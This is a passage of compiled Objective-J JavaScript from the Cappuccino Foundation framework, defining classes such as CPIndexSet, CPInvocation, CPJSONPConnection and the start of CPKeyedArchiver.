class_addMethods(_1,[new objj_method(sel_getUid("copy"),function(_1d,_1e){
with(_1d){
return objj_msgSend(objj_msgSend(_1d,"class"),"exceptionWithName:reason:userInfo:",name,message,_userInfo);
}
})]);
var _1f="CPExceptionNameKey",_20="CPExceptionReasonKey",_21="CPExceptionUserInfoKey";
var _1=objj_getClass("CPException");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPException\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("initWithCoder:"),function(_22,_23,_24){
with(_22){
_22=objj_msgSendSuper({receiver:_22,super_class:objj_getClass("CPException").super_class},"init");
if(_22){
name=objj_msgSend(_24,"decodeObjectForKey:",_1f);
message=objj_msgSend(_24,"decodeObjectForKey:",_20);
_userInfo=objj_msgSend(_24,"decodeObjectForKey:",_21);
}
return _22;
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_25,_26,_27){
with(_25){
objj_msgSend(_27,"encodeObject:forKey:",name,_1f);
objj_msgSend(_27,"encodeObject:forKey:",message,_20);
objj_msgSend(_27,"encodeObject:forKey:",_userInfo,_21);
}
})]);
Error.prototype.isa=CPException;
Error.prototype._userInfo=NULL;
objj_msgSend(CPException,"initialize");
_CPRaiseInvalidAbstractInvocation=function(_28,_29){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"*** -"+sel_getName(_29)+" cannot be sent to an abstract object of class "+objj_msgSend(_28,"className")+": Create a concrete instance!");
};
_CPReportLenientDeprecation=function(_2a,_2b,_2c){
CPLog.warn("["+CPStringFromClass(_2a)+" "+CPStringFromSelector(_2b)+"] is deprecated, using "+CPStringFromSelector(_2c)+" instead.");
};
p;13;CPFormatter.jt;1549;@STATIC;1.0;I;21;Foundation/CPObject.jt;1504;
objj_executeFile("Foundation/CPObject.j",NO);
var _1=objj_allocateClassPair(CPObject,"CPFormatter"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("stringForObjectValue:"),function(_3,_4,_5){
with(_3){
_CPRaiseInvalidAbstractInvocation(_3,sel_getUid("stringForObjectValue:"));
return nil;
}
}),new objj_method(sel_getUid("editingStringForObjectValue:"),function(_6,_7,_8){
with(_6){
return objj_msgSend(_6,"stringForObjectValue:",_8);
}
}),new objj_method(sel_getUid("getObjectValue:forString:errorDescription:"),function(_9,_a,_b,_c,_d){
with(_9){
_CPRaiseInvalidAbstractInvocation(_9,sel_getUid("getObjectValue:forString:errorDescription:"));
return NO;
}
}),new objj_method(sel_getUid("isPartialStringValid:newEditingString:errorDescription:"),function(_e,_f,_10,_11,_12){
with(_e){
_CPRaiseInvalidAbstractInvocation(_e,sel_getUid("isPartialStringValid:newEditingString:errorDescription:"));
return NO;
}
}),new objj_method(sel_getUid("isPartialStringValue:proposedSelectedRange:originalString:originalSelectedRange:errorDescription:"),function(_13,_14,_15,_16,_17,_18,_19){
with(_13){
_CPRaiseInvalidAbstractInvocation(_13,sel_getUid("isPartialStringValue:proposedSelectedRange:originalString:originalSelectedRange:errorDescription:"));
return NO;
}
}),new objj_method(sel_getUid("initWithCoder:"),function(_1a,_1b,_1c){
with(_1a){
return objj_msgSend(_1a,"init");
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_1d,_1e,_1f){
with(_1d){
}
})]);
p;21;CPFunctionOperation.jt;1271;@STATIC;1.0;I;21;Foundation/CPObject.ji;13;CPOperation.jt;1208;
objj_executeFile("Foundation/CPObject.j",NO);
objj_executeFile("CPOperation.j",YES);
var _1=objj_allocateClassPair(CPOperation,"CPFunctionOperation"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_functions")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("main"),function(_3,_4){
with(_3){
if(_functions&&objj_msgSend(_functions,"count")>0){
var i=0,_5=objj_msgSend(_functions,"count");
for(;i<_5;i++){
var _6=objj_msgSend(_functions,"objectAtIndex:",i);
_6();
}
}
}
}),new objj_method(sel_getUid("init"),function(_7,_8){
with(_7){
if(_7=objj_msgSendSuper({receiver:_7,super_class:objj_getClass("CPFunctionOperation").super_class},"init")){
_functions=[];
}
return _7;
}
}),new objj_method(sel_getUid("addExecutionFunction:"),function(_9,_a,_b){
with(_9){
objj_msgSend(_functions,"addObject:",_b);
}
}),new objj_method(sel_getUid("executionFunctions"),function(_c,_d){
with(_c){
return _functions;
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("functionOperationWithFunction:"),function(_e,_f,_10){
with(_e){
functionOp=objj_msgSend(objj_msgSend(CPFunctionOperation,"alloc"),"init");
objj_msgSend(functionOp,"addExecutionFunction:",_10);
return functionOp;
}
})]);
p;12;CPIndexSet.jt;12162;@STATIC;1.0;i;10;CPObject.ji;9;CPRange.jt;12114;
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPRange.j",YES);
var _1=objj_allocateClassPair(CPObject,"CPIndexSet"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_count"),new objj_ivar("_ranges")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("init"),function(_3,_4){
with(_3){
return objj_msgSend(_3,"initWithIndexesInRange:",{location:(0),length:0});
}
}),new objj_method(sel_getUid("initWithIndex:"),function(_5,_6,_7){
with(_5){
return objj_msgSend(_5,"initWithIndexesInRange:",{location:(_7),length:1});
}
}),new objj_method(sel_getUid("initWithIndexesInRange:"),function(_8,_9,_a){
with(_8){
_8=objj_msgSendSuper({receiver:_8,super_class:objj_getClass("CPIndexSet").super_class},"init");
if(_8){
_count=MAX(0,_a.length);
if(_count>0){
_ranges=[_a];
}else{
_ranges=[];
}
}
return _8;
}
}),new objj_method(sel_getUid("initWithIndexSet:"),function(_b,_c,_d){
with(_b){
_b=objj_msgSendSuper({receiver:_b,super_class:objj_getClass("CPIndexSet").super_class},"init");
if(_b){
_count=objj_msgSend(_d,"count");
_ranges=[];
var _e=_d._ranges,_f=_e.length;
while(_f--){
_ranges[_f]={location:(_e[_f]).location,length:(_e[_f]).length};
}
}
return _b;
}
}),new objj_method(sel_getUid("isEqual:"),function(_10,_11,_12){
with(_10){
if(_10===_12){
return YES;
}
if(!_12||!objj_msgSend(_12,"isKindOfClass:",objj_msgSend(CPIndexSet,"class"))){
return NO;
}
return objj_msgSend(_10,"isEqualToIndexSet:",_12);
}
}),new objj_method(sel_getUid("isEqualToIndexSet:"),function(_13,_14,_15){
with(_13){
if(!_15){
return NO;
}
if(_13===_15){
return YES;
}
var _16=_ranges.length,_17=_15._ranges;
if(_16!==_17.length||_count!==_15._count){
return NO;
}
while(_16--){
if(!CPEqualRanges(_ranges[_16],_17[_16])){
return NO;
}
}
return YES;
}
}),new objj_method(sel_getUid("isEqual:"),function(_18,_19,_1a){
with(_18){
return _18===_1a||objj_msgSend(_1a,"isKindOfClass:",objj_msgSend(_18,"class"))&&objj_msgSend(_18,"isEqualToIndexSet:",_1a);
}
}),new objj_method(sel_getUid("containsIndex:"),function(_1b,_1c,_1d){
with(_1b){
return _1e(_ranges,_1d)!==CPNotFound;
}
}),new objj_method(sel_getUid("containsIndexesInRange:"),function(_1f,_20,_21){
with(_1f){
if(_21.length<=0){
return NO;
}
if(_count<_21.length){
return NO;
}
var _22=_1e(_ranges,_21.location);
if(_22===CPNotFound){
return NO;
}
var _23=_ranges[_22];
return CPIntersectionRange(_23,_21).length===_21.length;
}
}),new objj_method(sel_getUid("containsIndexes:"),function(_24,_25,_26){
with(_24){
var _27=_26._count;
if(_27<=0){
return YES;
}
if(_count<_27){
return NO;
}
var _28=_26._ranges,_29=_28.length;
while(_29--){
if(!objj_msgSend(_24,"containsIndexesInRange:",_28[_29])){
return NO;
}
}
return YES;
}
}),new objj_method(sel_getUid("intersectsIndexesInRange:"),function(_2a,_2b,_2c){
with(_2a){
if(_count<=0){
return NO;
}
var _2d=_2e(_ranges,_2c.location);
if(FLOOR(_2d)===_2d){
return YES;
}
var _2f=_2e(_ranges,((_2c).location+(_2c).length)-1);
if(FLOOR(_2f)===_2f){
return YES;
}
return _2d!==_2f;
}
}),new objj_method(sel_getUid("count"),function(_30,_31){
with(_30){
return _count;
}
}),new objj_method(sel_getUid("firstIndex"),function(_32,_33){
with(_32){
if(_count>0){
return _ranges[0].location;
}
return CPNotFound;
}
}),new objj_method(sel_getUid("lastIndex"),function(_34,_35){
with(_34){
if(_count>0){
return ((_ranges[_ranges.length-1]).location+(_ranges[_ranges.length-1]).length)-1;
}
return CPNotFound;
}
}),new objj_method(sel_getUid("indexGreaterThanIndex:"),function(_36,_37,_38){
with(_36){
++_38;
var _39=_2e(_ranges,_38);
if(_39===CPNotFound){
return CPNotFound;
}
_39=CEIL(_39);
if(_39>=_ranges.length){
return CPNotFound;
}
var _3a=_ranges[_39];
if(CPLocationInRange(_38,_3a)){
return _38;
}
return _3a.location;
}
}),new objj_method(sel_getUid("indexLessThanIndex:"),function(_3b,_3c,_3d){
with(_3b){
--_3d;
var _3e=_2e(_ranges,_3d);
if(_3e===CPNotFound){
return CPNotFound;
}
_3e=FLOOR(_3e);
if(_3e<0){
return CPNotFound;
}
var _3f=_ranges[_3e];
if(CPLocationInRange(_3d,_3f)){
return _3d;
}
return ((_3f).location+(_3f).length)-1;
}
}),new objj_method(sel_getUid("indexGreaterThanOrEqualToIndex:"),function(_40,_41,_42){
with(_40){
return objj_msgSend(_40,"indexGreaterThanIndex:",_42-1);
}
}),new objj_method(sel_getUid("indexLessThanOrEqualToIndex:"),function(_43,_44,_45){
with(_43){
return objj_msgSend(_43,"indexLessThanIndex:",_45+1);
}
}),new objj_method(sel_getUid("getIndexes:maxCount:inIndexRange:"),function(_46,_47,_48,_49,_4a){
with(_46){
if(!_count||_49===0||_4a&&!_4a.length){
if(_4a){
_4a.length=0;
}
return 0;
}
var _4b=0;
if(_4a){
var _4c=_4a.location,_4d=((_4a).location+(_4a).length)-1,_4e=CEIL(_2e(_ranges,_4c)),_4f=FLOOR(_2e(_ranges,_4d));
}else{
var _4c=objj_msgSend(_46,"firstIndex"),_4d=objj_msgSend(_46,"lastIndex"),_4e=0,_4f=_ranges.length-1;
}
while(_4e<=_4f){
var _50=_ranges[_4e],_51=MAX(_4c,_50.location),_52=MIN(_4d+1,((_50).location+(_50).length));
for(;_51<_52;++_51){
_48[_4b++]=_51;
if(_4b===_49){
if(_4a){
_4a.location=_51+1;
_4a.length=_4d+1-_51-1;
}
return _49;
}
}
++_4e;
}
if(_4a){
_4a.location=CPNotFound;
_4a.length=0;
}
return _4b;
}
}),new objj_method(sel_getUid("description"),function(_53,_54){
with(_53){
var _55=objj_msgSendSuper({receiver:_53,super_class:objj_getClass("CPIndexSet").super_class},"description");
if(_count){
var _56=0,_57=_ranges.length;
_55+="[number of indexes: "+_count+" (in "+_57;
if(_57===1){
_55+=" range), indexes: (";
}else{
_55+=" ranges), indexes: (";
}
for(;_56<_57;++_56){
var _58=_ranges[_56];
_55+=_58.location;
if(_58.length>1){
_55+="-"+(CPMaxRange(_58)-1);
}
if(_56+1<_57){
_55+=" ";
}
}
_55+=")]";
}else{
_55+="(no indexes)";
}
return _55;
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("indexSet"),function(_59,_5a){
with(_59){
return objj_msgSend(objj_msgSend(_59,"alloc"),"init");
}
}),new objj_method(sel_getUid("indexSetWithIndex:"),function(_5b,_5c,_5d){
with(_5b){
return objj_msgSend(objj_msgSend(_5b,"alloc"),"initWithIndex:",_5d);
}
}),new objj_method(sel_getUid("indexSetWithIndexesInRange:"),function(_5e,_5f,_60){
with(_5e){
return objj_msgSend(objj_msgSend(_5e,"alloc"),"initWithIndexesInRange:",_60);
}
})]);
var _1=objj_getClass("CPIndexSet");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPIndexSet\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("addIndex:"),function(_61,_62,_63){
with(_61){
objj_msgSend(_61,"addIndexesInRange:",{location:(_63),length:1});
}
}),new objj_method(sel_getUid("addIndexes:"),function(_64,_65,_66){
with(_64){
var _67=_66._ranges,_68=_67.length;
while(_68--){
objj_msgSend(_64,"addIndexesInRange:",_67[_68]);
}
}
}),new objj_method(sel_getUid("addIndexesInRange:"),function(_69,_6a,_6b){
with(_69){
if(_6b.length<=0){
return;
}
if(_count<=0){
_count=_6b.length;
_ranges=[_6b];
return;
}
var _6c=_ranges.length,_6d=_2e(_ranges,_6b.location-1),_6e=CEIL(_6d);
if(_6e===_6d&&_6e<_6c){
_6b=CPUnionRange(_6b,_ranges[_6e]);
}
var _6f=_2e(_ranges,CPMaxRange(_6b)),_70=FLOOR(_6f);
if(_70===_6f&&_70>=0){
_6b=CPUnionRange(_6b,_ranges[_70]);
}
var _71=_70-_6e+1;
if(_71===_ranges.length){
_ranges=[_6b];
_count=_6b.length;
}else{
if(_71===1){
if(_6e<_ranges.length){
_count-=_ranges[_6e].length;
}
_count+=_6b.length;
_ranges[_6e]=_6b;
}else{
if(_71>0){
var _72=_6e,_73=_6e+_71-1;
for(;_72<=_73;++_72){
_count-=_ranges[_72].length;
}
objj_msgSend(_ranges,"removeObjectsInRange:",{location:(_6e),length:_71});
}
objj_msgSend(_ranges,"insertObject:atIndex:",_6b,_6e);
_count+=_6b.length;
}
}
}
}),new objj_method(sel_getUid("removeIndex:"),function(_74,_75,_76){
with(_74){
objj_msgSend(_74,"removeIndexesInRange:",{location:(_76),length:1});
}
}),new objj_method(sel_getUid("removeIndexes:"),function(_77,_78,_79){
with(_77){
var _7a=_79._ranges,_7b=_7a.length;
while(_7b--){
objj_msgSend(_77,"removeIndexesInRange:",_7a[_7b]);
}
}
}),new objj_method(sel_getUid("removeAllIndexes"),function(_7c,_7d){
with(_7c){
_ranges=[];
_count=0;
}
}),new objj_method(sel_getUid("removeIndexesInRange:"),function(_7e,_7f,_80){
with(_7e){
if(_80.length<=0){
return;
}
if(_count<=0){
return;
}
var _81=_ranges.length,_82=_2e(_ranges,_80.location),_83=CEIL(_82);
if(_82===_83&&_83<_81){
var _84=_ranges[_83];
if(_80.location!==_84.location){
var _85=CPMaxRange(_80),_86=CPMaxRange(_84);
_84.length=_80.location-_84.location;
if(_85<_86){
_count-=_80.length;
objj_msgSend(_ranges,"insertObject:atIndex:",{location:(_85),length:_86-_85},_83+1);
return;
}else{
_count-=_86-_80.location;
_83+=1;
}
}
}
var _87=_2e(_ranges,CPMaxRange(_80)-1),_88=FLOOR(_87);
if(_87===_88&&_88>=0){
var _85=CPMaxRange(_80),_84=_ranges[_88],_86=CPMaxRange(_84);
if(_85!==_86){
_count-=_85-_84.location;
_88-=1;
_84.location=_85;
_84.length=_86-_85;
}
}
var _89=_88-_83+1;
if(_89>0){
var _8a=_83,_8b=_83+_89-1;
for(;_8a<=_8b;++_8a){
_count-=_ranges[_8a].length;
}
objj_msgSend(_ranges,"removeObjectsInRange:",{location:(_83),length:_89});
}
}
}),new objj_method(sel_getUid("shiftIndexesStartingAtIndex:by:"),function(_8c,_8d,_8e,_8f){
with(_8c){
if(!_count||_8f==0){
return;
}
var i=_ranges.length-1,_90=CPMakeRange(CPNotFound,0);
for(;i>=0;--i){
var _91=_ranges[i],_92=CPMaxRange(_91);
if(_8e>=_92){
break;
}
if(_8e>_91.location){
_90=CPMakeRange(_8e+_8f,_92-_8e);
_91.length=_8e-_91.location;
if(_8f>0){
objj_msgSend(_ranges,"insertObject:atIndex:",_90,i+1);
}else{
if(_90.location<0){
_90.length=CPMaxRange(_90);
_90.location=0;
}
}
break;
}
if((_91.location+=_8f)<0){
_91.length=CPMaxRange(_91);
_91.location=0;
}
}
if(_8f<0){
var j=i+1,_93=_ranges.length,_94=[];
for(;j<_93;++j){
objj_msgSend(_94,"addObject:",_ranges[j]);
_count-=_ranges[j].length;
}
if((j=i+1)<_93){
objj_msgSend(_ranges,"removeObjectsInRange:",CPMakeRange(j,_93-j));
for(j=0,_93=_94.length;j<_93;++j){
objj_msgSend(_8c,"addIndexesInRange:",_94[j]);
}
}
if(_90.location!=CPNotFound){
objj_msgSend(_8c,"addIndexesInRange:",_90);
}
}
}
})]);
var _95="CPIndexSetCountKey",_96="CPIndexSetRangeStringsKey";
var _1=objj_getClass("CPIndexSet");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPIndexSet\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("initWithCoder:"),function(_97,_98,_99){
with(_97){
_97=objj_msgSendSuper({receiver:_97,super_class:objj_getClass("CPIndexSet").super_class},"init");
if(_97){
_count=objj_msgSend(_99,"decodeIntForKey:",_95);
_ranges=[];
var _9a=objj_msgSend(_99,"decodeObjectForKey:",_96),_9b=0,_9c=_9a.length;
for(;_9b<_9c;++_9b){
_ranges.push(CPRangeFromString(_9a[_9b]));
}
}
return _97;
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_9d,_9e,_9f){
with(_9d){
objj_msgSend(_9f,"encodeInt:forKey:",_count,_95);
var _a0=0,_a1=_ranges.length,_a2=[];
for(;_a0<_a1;++_a0){
_a2[_a0]=CPStringFromRange(_ranges[_a0]);
}
objj_msgSend(_9f,"encodeObject:forKey:",_a2,_96);
}
})]);
var _1=objj_getClass("CPIndexSet");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPIndexSet\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("copy"),function(_a3,_a4){
with(_a3){
return objj_msgSend(objj_msgSend(objj_msgSend(_a3,"class"),"alloc"),"initWithIndexSet:",_a3);
}
}),new objj_method(sel_getUid("mutableCopy"),function(_a5,_a6){
with(_a5){
return objj_msgSend(objj_msgSend(objj_msgSend(_a5,"class"),"alloc"),"initWithIndexSet:",_a5);
}
})]);
var _1=objj_allocateClassPair(CPIndexSet,"CPMutableIndexSet"),_2=_1.isa;
objj_registerClassPair(_1);
var _1e=function(_a7,_a8){
var low=0,_a9=_a7.length-1;
while(low<=_a9){
var _aa=FLOOR(low+(_a9-low)/2),_ab=_a7[_aa];
if(_a8<_ab.location){
_a9=_aa-1;
}else{
if(_a8>=CPMaxRange(_ab)){
low=_aa+1;
}else{
return _aa;
}
}
}
return CPNotFound;
};
var _2e=function(_ac,_ad){
var _ae=_ac.length;
if(_ae<=0){
return CPNotFound;
}
var low=0,_af=_ae*2;
while(low<=_af){
var _b0=FLOOR(low+(_af-low)/2),_b1=_b0/2,_b2=FLOOR(_b1);
if(_b1===_b2){
if(_b2-1>=0&&_ad<CPMaxRange(_ac[_b2-1])){
_af=_b0-1;
}else{
if(_b2<_ae&&_ad>=_ac[_b2].location){
low=_b0+1;
}else{
return _b2-0.5;
}
}
}else{
var _b3=_ac[_b2];
if(_ad<_b3.location){
_af=_b0-1;
}else{
if(_ad>=CPMaxRange(_b3)){
low=_b0+1;
}else{
return _b2;
}
}
}
}
return CPNotFound;
};
p;14;CPInvocation.jt;2659;@STATIC;1.0;i;13;CPException.ji;10;CPObject.jt;2607;
objj_executeFile("CPException.j",YES);
objj_executeFile("CPObject.j",YES);
var _1=objj_allocateClassPair(CPObject,"CPInvocation"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_returnValue"),new objj_ivar("_arguments"),new objj_ivar("_methodSignature")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithMethodSignature:"),function(_3,_4,_5){
with(_3){
_3=objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPInvocation").super_class},"init");
if(_3){
_arguments=[];
_methodSignature=_5;
}
return _3;
}
}),new objj_method(sel_getUid("setSelector:"),function(_6,_7,_8){
with(_6){
_arguments[1]=_8;
}
}),new objj_method(sel_getUid("selector"),function(_9,_a){
with(_9){
return _arguments[1];
}
}),new objj_method(sel_getUid("setTarget:"),function(_b,_c,_d){
with(_b){
_arguments[0]=_d;
}
}),new objj_method(sel_getUid("target"),function(_e,_f){
with(_e){
return _arguments[0];
}
}),new objj_method(sel_getUid("setArgument:atIndex:"),function(_10,_11,_12,_13){
with(_10){
_arguments[_13]=_12;
}
}),new objj_method(sel_getUid("argumentAtIndex:"),function(_14,_15,_16){
with(_14){
return _arguments[_16];
}
}),new objj_method(sel_getUid("setReturnValue:"),function(_17,_18,_19){
with(_17){
_returnValue=_19;
}
}),new objj_method(sel_getUid("returnValue"),function(_1a,_1b){
with(_1a){
return _returnValue;
}
}),new objj_method(sel_getUid("invoke"),function(_1c,_1d){
with(_1c){
_returnValue=objj_msgSend.apply(objj_msgSend,_arguments);
}
}),new objj_method(sel_getUid("invokeWithTarget:"),function(_1e,_1f,_20){
with(_1e){
_arguments[0]=_20;
_returnValue=objj_msgSend.apply(objj_msgSend,_arguments);
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("invocationWithMethodSignature:"),function(_21,_22,_23){
with(_21){
return objj_msgSend(objj_msgSend(_21,"alloc"),"initWithMethodSignature:",_23);
}
})]);
var _24="CPInvocationArguments",_25="CPInvocationReturnValue";
var _1=objj_getClass("CPInvocation");
if(!_1){
throw new SyntaxError("*** Could not find definition for class \"CPInvocation\"");
}
var _2=_1.isa;
class_addMethods(_1,[new objj_method(sel_getUid("initWithCoder:"),function(_26,_27,_28){
with(_26){
_26=objj_msgSendSuper({receiver:_26,super_class:objj_getClass("CPInvocation").super_class},"init");
if(_26){
_returnValue=objj_msgSend(_28,"decodeObjectForKey:",_25);
_arguments=objj_msgSend(_28,"decodeObjectForKey:",_24);
}
return _26;
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_29,_2a,_2b){
with(_29){
objj_msgSend(_2b,"encodeObject:forKey:",_returnValue,_25);
objj_msgSend(_2b,"encodeObject:forKey:",_arguments,_24);
}
})]);
p;23;CPInvocationOperation.jt;1480;@STATIC;1.0;i;14;CPInvocation.ji;10;CPObject.ji;13;CPOperation.jt;1409;
objj_executeFile("CPInvocation.j",YES);
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPOperation.j",YES);
var _1=objj_allocateClassPair(CPOperation,"CPInvocationOperation"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_invocation")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("main"),function(_3,_4){
with(_3){
if(_invocation){
objj_msgSend(_invocation,"invoke");
}
}
}),new objj_method(sel_getUid("init"),function(_5,_6){
with(_5){
if(_5=objj_msgSendSuper({receiver:_5,super_class:objj_getClass("CPInvocationOperation").super_class},"init")){
_invocation=nil;
}
return _5;
}
}),new objj_method(sel_getUid("initWithInvocation:"),function(_7,_8,_9){
with(_7){
if(_7=objj_msgSend(_7,"init")){
_invocation=_9;
}
return _7;
}
}),new objj_method(sel_getUid("initWithTarget:selector:object:"),function(_a,_b,_c,_d,_e){
with(_a){
var _f=objj_msgSend(objj_msgSend(CPInvocation,"alloc"),"initWithMethodSignature:",nil);
objj_msgSend(_f,"setTarget:",_c);
objj_msgSend(_f,"setSelector:",_d);
objj_msgSend(_f,"setArgument:atIndex:",_e,2);
return objj_msgSend(_a,"initWithInvocation:",_f);
}
}),new objj_method(sel_getUid("invocation"),function(_10,_11){
with(_10){
return _invocation;
}
}),new objj_method(sel_getUid("result"),function(_12,_13){
with(_12){
if(objj_msgSend(_12,"isFinished")&&_invocation){
return objj_msgSend(_invocation,"returnValue");
}
return nil;
}
})]);
p;19;CPJSONPConnection.jt;3704;@STATIC;1.0;i;10;CPObject.jt;3670;
objj_executeFile("CPObject.j",YES);
CPJSONPConnectionCallbacks={};
CPJSONPCallbackReplacementString="${JSONP_CALLBACK}";
var _1=objj_allocateClassPair(CPObject,"CPJSONPConnection"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_request"),new objj_ivar("_delegate"),new objj_ivar("_callbackParameter"),new objj_ivar("_scriptTag")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithRequest:callback:delegate:"),function(_3,_4,_5,_6,_7){
with(_3){
return objj_msgSend(_3,"initWithRequest:callback:delegate:startImmediately:",_5,_6,_7,NO);
}
}),new objj_method(sel_getUid("initWithRequest:callback:delegate:startImmediately:"),function(_8,_9,_a,_b,_c,_d){
with(_8){
_8=objj_msgSendSuper({receiver:_8,super_class:objj_getClass("CPJSONPConnection").super_class},"init");
_request=_a;
_delegate=_c;
_callbackParameter=_b;
if(!_callbackParameter&&objj_msgSend(objj_msgSend(_request,"URL"),"absoluteString").indexOf(CPJSONPCallbackReplacementString)<0){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"JSONP source specified without callback parameter or CPJSONPCallbackReplacementString in URL.");
}
if(_d){
objj_msgSend(_8,"start");
}
return _8;
}
}),new objj_method(sel_getUid("start"),function(_e,_f){
with(_e){
try{
CPJSONPConnectionCallbacks["callback"+objj_msgSend(_e,"UID")]=function(_10){
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("connection:didReceiveData:"))){
objj_msgSend(_delegate,"connection:didReceiveData:",_e,_10);
}
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("connectionDidFinishLoading:"))){
objj_msgSend(_delegate,"connectionDidFinishLoading:",_e);
}
objj_msgSend(_e,"removeScriptTag");
objj_msgSend(objj_msgSend(CPRunLoop,"currentRunLoop"),"limitDateForMode:",CPDefaultRunLoopMode);
};
var _11=document.getElementsByTagName("head").item(0),_12=objj_msgSend(objj_msgSend(_request,"URL"),"absoluteString");
if(_callbackParameter){
_12+=(_12.indexOf("?")<0)?"?":"&";
_12+=_callbackParameter+"=CPJSONPConnectionCallbacks.callback"+objj_msgSend(_e,"UID");
}else{
if(_12.indexOf(CPJSONPCallbackReplacementString)>=0){
_12=objj_msgSend(_12,"stringByReplacingOccurrencesOfString:withString:",CPJSONPCallbackReplacementString,"CPJSONPConnectionCallbacks.callback"+objj_msgSend(_e,"UID"));
}else{
return;
}
}
_scriptTag=document.createElement("script");
_scriptTag.setAttribute("type","text/javascript");
_scriptTag.setAttribute("charset","utf-8");
_scriptTag.setAttribute("src",_12);
_11.appendChild(_scriptTag);
}
catch(exception){
if(objj_msgSend(_delegate,"respondsToSelector:",sel_getUid("connection:didFailWithError:"))){
objj_msgSend(_delegate,"connection:didFailWithError:",_e,exception);
}
objj_msgSend(_e,"removeScriptTag");
}
}
}),new objj_method(sel_getUid("removeScriptTag"),function(_13,_14){
with(_13){
var _15=document.getElementsByTagName("head").item(0);
if(_scriptTag&&_scriptTag.parentNode==_15){
_15.removeChild(_scriptTag);
}
CPJSONPConnectionCallbacks["callback"+objj_msgSend(_13,"UID")]=nil;
delete CPJSONPConnectionCallbacks["callback"+objj_msgSend(_13,"UID")];
}
}),new objj_method(sel_getUid("cancel"),function(_16,_17){
with(_16){
objj_msgSend(_16,"removeScriptTag");
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("sendRequest:callback:delegate:"),function(_18,_19,_1a,_1b,_1c){
with(_18){
return objj_msgSend(_18,"connectionWithRequest:callback:delegate:",_1a,_1b,_1c);
}
}),new objj_method(sel_getUid("connectionWithRequest:callback:delegate:"),function(_1d,_1e,_1f,_20,_21){
with(_1d){
return objj_msgSend(objj_msgSend(objj_msgSend(_1d,"class"),"alloc"),"initWithRequest:callback:delegate:startImmediately:",_1f,_20,_21,YES);
}
})]);
p;17;CPKeyedArchiver.jt;10342;@STATIC;1.0;i;9;CPArray.ji;9;CPCoder.ji;8;CPData.ji;14;CPDictionary.ji;10;CPNumber.ji;10;CPString.ji;9;CPValue.jt;10222;
objj_executeFile("CPArray.j",YES);
objj_executeFile("CPCoder.j",YES);
objj_executeFile("CPData.j",YES);
objj_executeFile("CPDictionary.j",YES);
objj_executeFile("CPNumber.j",YES);
objj_executeFile("CPString.j",YES);
objj_executeFile("CPValue.j",YES);
var _1=nil;
var _2=1,_3=2,_4=4,_5=8,_6=16;
var _7="$null",_8=nil,_9="CP$UID",_a="$top",_b="$objects",_c="$archiver",_d="$version",_e="$classname",_f="$classes",_10="$class";
var _11=Nil,_12=Nil;
var _13=objj_allocateClassPair(CPValue,"_CPKeyedArchiverValue"),_14=_13.isa;
objj_registerClassPair(_13);
var _13=objj_allocateClassPair(CPCoder,"CPKeyedArchiver"),_14=_13.isa;
class_addIvars(_13,[new objj_ivar("_delegate"),new objj_ivar("_delegateSelectors"),new objj_ivar("_data"),new objj_ivar("_objects"),new objj_ivar("_UIDs"),new objj_ivar("_conditionalUIDs"),new objj_ivar("_replacementObjects"),new objj_ivar("_replacementClassNames"),new objj_ivar("_plistObject"),new objj_ivar("_plistObjects"),new objj_ivar("_outputFormat")]);
objj_registerClassPair(_13);
class_addMethods(_13,[new objj_method(sel_getUid("initForWritingWithMutableData:"),function(_15,_16,_17){
with(_15){
_15=objj_msgSendSuper({receiver:_15,super_class:objj_getClass("CPKeyedArchiver").super_class},"init");
if(_15){
_data=_17;
_objects=[];
_UIDs=objj_msgSend(CPDictionary,"dictionary");
_conditionalUIDs=objj_msgSend(CPDictionary,"dictionary");
_replacementObjects=objj_msgSend(CPDictionary,"dictionary");
_data=_17;
_plistObject=objj_msgSend(CPDictionary,"dictionary");
_plistObjects=objj_msgSend(CPArray,"arrayWithObject:",_7);
}
return _15;
}
}),new objj_method(sel_getUid("finishEncoding"),function(_18,_19){
with(_18){
if(_delegate&&_delegateSelectors&_6){
objj_msgSend(_delegate,"archiverWillFinish:",_18);
}
var i=0,_1a=_plistObject,_1b=[];
for(;i<_objects.length;++i){
var _1c=_objects[i],_1d=objj_msgSend(_1c,"classForKeyedArchiver");
_plistObject=_plistObjects[objj_msgSend(_UIDs,"objectForKey:",objj_msgSend(_1c,"UID"))];
objj_msgSend(_1c,"encodeWithCoder:",_18);
if(_delegate&&_delegateSelectors&_2){
objj_msgSend(_delegate,"archiver:didEncodeObject:",_18,_1c);
}
}
